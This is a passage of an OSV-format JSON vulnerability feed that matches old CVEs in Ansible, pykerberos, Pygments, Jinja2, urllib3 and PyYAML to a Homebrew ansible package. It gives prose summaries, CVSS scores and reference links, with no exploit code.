attack.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3206"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/issues/31"},{"type":"WEB","url":"https://github.com/apple/ccs-pykerberos/commit/9cb61c93f9b24dd18a0a315f3df5445529c5c333"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1223802"},{"type":"PACKAGE","url":"https://github.com/apple/ccs-pykerberos"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/kerberos/PYSEC-2017-49.yaml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pykerberos/PYSEC-2017-66.yaml"},{"type":"WEB","url":"https://pypi.python.org/pypi/kerberos"},{"type":"WEB","url":"https://web.archive.org/web/20150910143429/https://trac.calendarserver.org/ticket/833"},{"type":"WEB","url":"https://web.archive.org/web/20200228090829/http://www.securityfocus.com/bid/74760"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/05/21/3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-3908","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-w64c-pxjj-h866","CVE-2015-3908","PYSEC-2015-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible does not verify that the server hostname matches a domain name in certificates","details":"Ansible before 1.9.2 does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-3908"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-w64c-pxjj-h866"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2015-1.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-07/msg00051.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-updates/2015-08/msg00029.html"},{"type":"WEB","url":"http://www.ansible.com/security"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/07/14/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-6240","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["PYSEC-2017-3","CVE-2015-6240","GHSA-wwwh-47wp-m522"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.9.2"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack.","references":[{"type":"FIX","url":"https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1243468"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/08/17/10"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wwwh-47wp-m522"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2015-8557","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-fff8-4w9p-7v76","CVE-2015-8557","PYSEC-2016-32"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.1","resource":"pygments","resource_purl":"pkg:pypi/pygments@2.21.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pygments","subject_version":"2.21.0","key":"pkg:pypi/pygments@2.21.0","resource":"pygments"}]},"summary":"Command Injection in Pygments","details":"The FontManager._get_nix_font_path function in formatters/img.py in Pygments 1.2.2 through 2.0.2 allows remote attackers to execute arbitrary commands via shell metacharacters in a font name.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2015-8557"},{"type":"WEB","url":"https://github.com/pygments/pygments/commit/db6dd826f8624179e563aaded391efe824462f51"},{"type":"WEB","url":"https://bitbucket.org/birkenfeld/pygments-main/pull-requests/501/fix-shell-injection-in/diff"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-fff8-4w9p-7v76"},{"type":"PACKAGE","url":"https://github.com/pygments/pygments"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pygments/PYSEC-2016-32.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201612-05"},{"type":"WEB","url":"http://packetstormsecurity.com/files/133823/Pygments-FontManager._get_nix_font_path-Shell-Injection.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2015/Oct/4"},{"type":"WEB","url":"http://www.debian.org/security/2016/dsa-3445"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/12/14/17"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2015/12/14/6"},{"type":"WEB","url":"http://www.oracle.com/technetwork/topics/security/bulletinjan2016-2867206.html"},{"type":"WEB","url":"http://www.ubuntu.com/usn/USN-2862-1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-10745","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-hj2j-77xm-mc5v","CVE-2016-10745","PYSEC-2019-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.8.1","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 sandbox escape vulnerability","details":"In Pallets Jinja before 2.8.1, str.format allows a sandbox escape.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-10745"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/9b53045c34e61013dc8f09b7e52a555fa16bed16"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1237"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:1260"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:3964"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:4062"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-hj2j-77xm-mc5v"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/jinja2/PYSEC-2019-220.yaml"},{"type":"WEB","url":"https://palletsprojects.com/blog/jinja-281-released"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-1"},{"type":"WEB","url":"https://usn.ubuntu.com/4011-2"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00030.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00064.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-3096","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2016-3096","GHSA-rh6x-qvg7-rrmj","PYSEC-2016-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.2.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"The create_script function in the lxc_container module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) /opt/.lxc-attach-script, (2) the archived container in the archive_path directory, or the (3) lxc-attach-script.log or (4) lxc-attach-script.err files in the temporary directory.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://groups.google.com/forum/#%21topic/ansible-announce/E80HLZilTU0"},{"type":"WEB","url":"https://groups.google.com/forum/#%21topic/ansible-announce/tqiZbcWxYig"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183103.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183132.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"ADVISORY","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible/blob/v1.9.6-1/CHANGELOG.md#196-dancing-in-the-street---tbd"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/201607-14"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1322925"},{"type":"FIX","url":"https://github.com/ansible/ansible-modules-extras/pull/1941"},{"type":"FIX","url":"https://github.com/ansible/ansible-modules-extras/pull/1941/commits/8c6fe646ee79f5e55361b885b7efed5bec72d4a4"},{"type":"FIX","url":"https://github.com/ansible/ansible/blob/v2.0.2.0-1/CHANGELOG.md#202-over-the-hills-and-far-away"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2016-8614","GHSA-cmwx-9m2h-x7v4","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in Ansible before version 2.2.0. The apt_key module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/94108"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"EVIDENCE","url":"https://github.com/ansible/ansible-modules-core/issues/5237"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2016-8628","GHSA-jg4f-jqm5-4mgq","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/94109"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-8647","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2016-8647","GHSA-x4cm-m36h-c6qj","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"ADVISORY","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-9015","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-v4w5-p2hg-8fh6","CVE-2016-9015","PYSEC-2017-98"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.18.1","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Urllib3 Incorrect Certificate Validation","details":"Versions 1.17 and 1.18 of the Python urllib3 library suffer from a vulnerability that can cause them, in certain configurations, to not correctly validate TLS certificates. This places users of the library with those configurations at risk of man-in-the-middle and information leakage attacks. This vulnerability affects users using versions 1.17 and 1.18 of the urllib3 library, who are using the optional PyOpenSSL support for TLS instead of the regular standard library TLS backend, and who are using OpenSSL 1.1.0 via PyOpenSSL. This is an extremely uncommon configuration, so the security impact of this vulnerability is low.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9015"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c32cdbc16a9634fa0f8c829d1270301570158715"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2017-98.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://web.archive.org/web/20210123184150/http://www.securityfocus.com/bid/93941"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2016/10/27/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2016-9587","GHSA-m956-frf4-m2wr","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before versions 2.1.4, 2.2.1 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"ADVISORY","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/95352"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"ADVISORY","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"EVIDENCE","url":"https://www.exploit-db.com/exploits/41013/"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-18342","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-rprw-h62v-c2w7","CVE-2017-18342","PYSEC-2018-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"5.1","resource":"pyyaml","resource_purl":"pkg:pypi/pyyaml@6.0.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyyaml","subject_version":"6.0.3","key":"pkg:pypi/pyyaml@6.0.3","resource":"pyyaml"}]},"summary":"PyYAML insecurely deserializes YAML strings leading to arbitrary code execution","details":"In PyYAML before 5.1, the `yaml.load()` API could execute arbitrary code. In other words, `yaml.safe_load` is not used.\n\nThis was intended to be fixed in 4.1, but due to [breaking changes](https://github.com/yaml/pyyaml/issues/192#issuecomment-401491470), 4.1 was yanked and 5.1 [contains](https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007) the patch for CVE-2017-18342.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-18342"},{"type":"WEB","url":"https://github.com/marshmallow-code/apispec/issues/278"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/193"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/issues/207#issuecomment-472520007"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/pull/74"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/commit/7b68405c81db889f83c32846462b238ccae5be80"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pyyaml/PYSEC-2018-49.yaml"},{"type":"PACKAGE","url":"https://github.com/yaml/pyyaml"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/blob/master/CHANGES"},{"type":"WEB","url":"https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JEX7IPV5P2QJITAMA5Z63GQCZA5I6NVZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KSQQMRUQSXBSUXLCRD3TSZYQ7SEZRKCE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/M6JCFGEIEOFMWWIXGHSELMKQDD4CV2BA"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202003-45"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/